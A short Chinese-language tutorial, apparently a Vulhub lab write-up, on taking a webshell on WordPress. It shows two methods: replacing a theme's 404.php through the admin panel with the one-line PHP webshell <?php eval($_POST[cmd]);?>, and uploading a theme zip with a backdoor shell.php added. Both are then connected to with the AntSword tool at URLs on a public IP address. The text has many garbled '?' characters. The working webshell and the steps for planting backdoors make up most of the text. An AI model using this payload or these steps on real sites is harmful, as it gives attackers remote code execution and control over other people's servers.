????????姿勢一、后臺修改模板拿WebShell
????????第一步:進?Vulhub靶場并執?以下命令開啟靶場;在瀏覽器中訪問并安裝好....
????????第二步:找到外觀--編輯--404.php,將原內容刪除并修改為一句話木馬,點擊更新--File edited successfully.
<?php eval($_POST[cmd]);?>
????????第三步:找到404.php的路徑,使用蟻劍進行連接
#URL地址
http://47.103.81.25:8080/wp-content/themes/twentyfifteen/404.php
????????姿勢二、上傳主題拿WebShell
????????第一步:找到外觀--主題--添加--上傳主題--瀏覽---現在安裝
????????第二步:在網站上搜索WordPress主題免費下載,將后門文件shell.php加入后壓縮為webshell.zip文件,上傳
????????第三步:使用蟻劍進行連接
http://47.103.81.25:8080/wp-content/themes/webshell/shell.php
??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? FROM? IYU_